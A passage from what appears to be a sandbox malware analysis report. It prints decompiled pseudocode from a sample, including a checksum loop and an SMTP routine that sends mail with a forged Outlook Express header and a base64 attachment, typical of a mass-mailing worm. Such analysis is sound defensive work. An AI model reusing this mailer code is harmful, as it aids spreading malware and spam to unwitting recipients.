0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t66 & 0x000000ff ^ ((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t68 & 0x000000ff ^ ((((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t66 & 0x000000ff ^ ((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t67 & 0x000000ff ^ (((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t66 & 0x000000ff ^ ((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4);
						_t61 =  &(_t68[1]);
						_t98 = _t98 - 8;
					} while (_t98 > 7);
					goto L4;
				}
				return 0;
			}

0x0040805a
0x0040805d
0x00408060
0x0040806a
0x00408070
0x00408075
0x00408124
0x00408126
0x00408143
0x00000000
0x00408145
0x0040812d
0x0040813c
0x0040813f
0x00408140
0x00408140
0x00000000
0x0040812d
0x00408080
0x00408092
0x004080a5
0x004080b8
0x004080cb
0x004080de
0x004080f1
0x00408104
0x00408114
0x00408117
0x00408118
0x0040811b
0x00000000
0x00408080
0x0040814b

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b3d0b7e61a7e0f158f6548a92a2f43dbdbcd8d125c1078b28183cb31cd010d6
Instruction ID: 9c05cf5a85e7654c7ef1fb60a5b3b1c4a63033b36bcc4beae51a79014b3c43b6
Opcode Fuzzy Hash: 7b3d0b7e61a7e0f158f6548a92a2f43dbdbcd8d125c1078b28183cb31cd010d6
Instruction Fuzzy Hash: F63175313141761BCB1D8D2F94D01B67BD2A79B343389426AE8D2D72C5C928A926DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040619A Relevance: 100.1, APIs: 24, Strings: 33, Instructions: 328
networkstringtimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040619A(void* __edx, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, CHAR* _a16, CHAR* _a20, CHAR* _a24, intOrPtr _a28, intOrPtr _a32) {
				void* _v16;
				intOrPtr _v40;
				int _v42;
				char _v44;
				void _v1068;
				char _v1132;
				intOrPtr _v1136;
				intOrPtr _v1140;
				intOrPtr _v1144;
				intOrPtr _v1148;
				intOrPtr _v1152;
				intOrPtr _v1156;
				intOrPtr _v1160;
				intOrPtr _v1164;
				void _v1228;
				struct _SYSTEMTIME _v1244;
				int _v1248;
				void* _v1252;
				intOrPtr _v1256;
				void* _v1260;
				intOrPtr _v1264;
				void* _v1268;
				CHAR* _v1272;
				CHAR* _v1276;
				void* _v1280;
				signed int _v1284;
				signed int _v1288;
				intOrPtr _v1292;
				signed int _v1296;
				char _v1300;
				void* _v1304;
				intOrPtr _v1308;
				CHAR* _v1312;
				char _v1316;
				CHAR* _v1320;
				CHAR* _v1324;
				CHAR* _v1328;
				void* __ebx;
				int _t137;
				int _t138;
				char _t139;
				char* _t140;
				CHAR* _t166;
				void* _t193;
				CHAR* _t195;
				CHAR* _t200;
				CHAR* _t202;
				void* _t203;
				void* _t208;
				void* _t209;
				CHAR* _t215;
				void* _t216;
				void* _t217;
				CHAR** _t222;
				CHAR** _t226;

				_t208 = __edx;
				memset( &_v1068, 0, 0x400);
				_t209 =  &_v1132;
				asm("cld");
				memset(_t209, 0, 0xc << 2);
				 *((short*)(_t209 + 0xc)) = 0;
				_v1164 = 0x412620;
				_v1160 = 0x412624;
				_v1156 = 0x412628;
				_v1152 = 0x41262c;
				_v1148 = 0x412630;
				_v1144 = 0x412634;
				_v1140 = 0x412638;
				_v1136 = 0x41263c;
				memcpy( &_v1228, 0x40d424, 0xd << 2);
				GetSystemTime( &_v1244);
				_v1276 = _v1244.wSecond & 0x0000ffff;
				_v1280 = _v1244.wMinute & 0x0000ffff;
				_v1284 = _v1244.wHour & 0x0000ffff;
				_v1288 = _v1244.wYear & 0x0000ffff;
				_v1292 =  *((intOrPtr*)(_t216 + (_v1244.wMonth & 0x0000ffff) * 4 - 0x4c8));
				_v1296 = _v1244.wDay & 0x0000ffff;
				_v1300 =  *((intOrPtr*)(_t216 + (_v1244.wDayOfWeek & 0x0000ffff) * 4 - 0x488));
				_t137 = wsprintfA( &_v1132, "%s, %d %s %d %d:%d:%d GMT");
				_v1292 = 6;
				_v1296 = 1;
				_v1300 = 2;
				L00408708();
				_t222 = _t217 - 0x50c + 0x18 - 0xfffffffffffffff8;
				_t215 = _t137;
				if(_t137 == 0xffffffff) {
					L39:
					_v1312 = _t215;
					L004086C0();
					_t138 = 0;
				} else {
					_v44 = 2;
					_v1312 = 0x19;
					L004086F8();
					_v42 = _t137;
					_t139 = _a4;
					_v1316 = _t139;
					L004086E8();
					_t226 = _t222;
					_v40 = _t139;
					if(_t139 != 0xffffffff) {
						L4:
						_v1312 = 0x10;
						_t140 =  &_v44;
						_v1316 = _t140;
						_v1320 = _t215;
						L00408710();
						_t222 = _t226 - 0xc;
						if(_t140 == 0xffffffff) {
							goto L39;
						} else {
							 *_t222 = _t215;
							if(E004067E0(0) == 0) {
								goto L39;
							} else {
								_v1324 = _a4;
								_v1328 = "HELO %s\r\n";
								_t200 =  &_v1068;
								 *_t222 = _t200;
								if(E00406788(wsprintfA(??, ??), _t215, _t200) == 0) {
									goto L39;
								} else {
									_v1316 = _a8;
									if(E00406788(wsprintfA(_t200, "MAIL FROM: <%s>\r\n"), _t215, _t200) == 0) {
										goto L39;
									} else {
										_v1308 = _a12;
										if(E00406788(wsprintfA(_t200, "RCPT TO: <%s>\r\n"), _t215, _t200) == 0 || E00406788(_t150, _t215, "DATA\r\n") == 0) {
											goto L39;
										} else {
											_v1300 = _a8;
											if(E00406746(wsprintfA(_t200, "FROM: <%s>\r\n"), _t200, _t215, _t200) == 0) {
												goto L39;
											} else {
												_v1292 = _a12;
												if(E00406746(wsprintfA(_t200, "TO: <%s>\r\n"), _t200, _t215, _t200) == 0) {
													goto L39;
												} else {
													_v1284 =  &_v1132;
													if(E00406746(wsprintfA(_t200, "Date: %s\r\n"), _t200, _t215, _t200) == 0 || E00406746(_t160, _t200, _t215, "MIME-Version: 1.0\r\n") == 0) {
														goto L39;
													} else {
														_v1276 = _a16;
														if(E00406746(wsprintfA(_t200, "Subject: %s\r\n"), _t200, _t215, _t200) == 0 || E00406746(_t164, _t200, _t215, "X-Mailer: Microsoft Outlook Express 6.00.2800.1106\r\n") == 0) {
															goto L39;
														} else {
															_t166 = _a24;
															_v1276 = _t166;
															L0040C310();
															_t222 = _t222 - 4;
															if(_t166 == 0) {
																if(E00406746(_t166, _t200, _t215, "Content-type: text/plain; charset=ISO-8859-1\r\n") == 0 || E00406746(_t167, _t200, _t215, "Content-Transfer-Encoding: 8bit\r\n") == 0) {
																	goto L39;
																} else {
																	_v1272 = _a20;
																	_v1276 = "\r\n%s\r\n";
																	_v1280 =  &_v1068;
																	if(E00406746(wsprintfA(??, ??),  &_v1068, _t215,  &_v1068) == 0) {
																		goto L39;
																	} else {
																		goto L36;
																	}
																}
															} else {
																if(E00406746(_t166, _t200, _t215, "Content-type: Multipart/Mixed; boundary=xContext\r\n") == 0 || E00406746(_t174, _t200, _t215, "\r\n--xContext\r\n") == 0) {
																	goto L39;
																} else {
																	if(_a32 == 0) {
																		if(E00406746(_t175, _t200, _t215, "Content-type: text/plain; charset=ISO-8859-1\r\n") == 0) {
																			goto L39;
																		} else {
																			goto L23;
																		}
																	} else {
																		if(E00406746(_t175, _t200, _t215, "Content-type: text/plain; charset=Windows-1251\r\n") == 0) {
																			goto L39;
																		} else {
																			L23:
																			if(E00406746(_t176, _t200, _t215, "Content-Transfer-Encoding: 8bit\r\n") == 0) {
																				goto L39;
																			} else {
																				_v1272 = _a20;
																				_v1276 = "\r\n%s\r\n";
																				_t202 =  &_v1068;
																				_v1280 = _t202;
																				if(E00406746(wsprintfA(??, ??), _t202, _t215, _t202) == 0 || E00406746(_t180, _t202, _t215, "\r\n--xContext\r\n") == 0) {
																					goto L39;
																				} else {
																					_v1264 = _a28;
																					if(E00406746(wsprintfA(_t202, "Content-type: Application/Octet-stream; name=\"%s\"; type:unknown\r\n"), _t202, _t215, _t202) == 0) {
																						goto L39;
																					} else {
																						_v1256 = _a28;
																						if(E00406746(wsprintfA(_t202, "Content-Disposition: attachment; filename=\"%s\"\r\n"), _t202, _t215, _t202) == 0 || E00406746(_t187, _t202, _t215, "Content-Transfer-Encoding: base64\r\n\r\n") == 0) {
																							goto L39;
																						} else {
																							_v1248 = 0;
																							_t203 = E004017F8(_t208, _a24,  &_v1248);
																							if(E00406746(_t191, _t203, _t215, _t191) != 0) {
																								_t193 = GlobalFree(_t203);
																								_t222 = _t222 - 4;
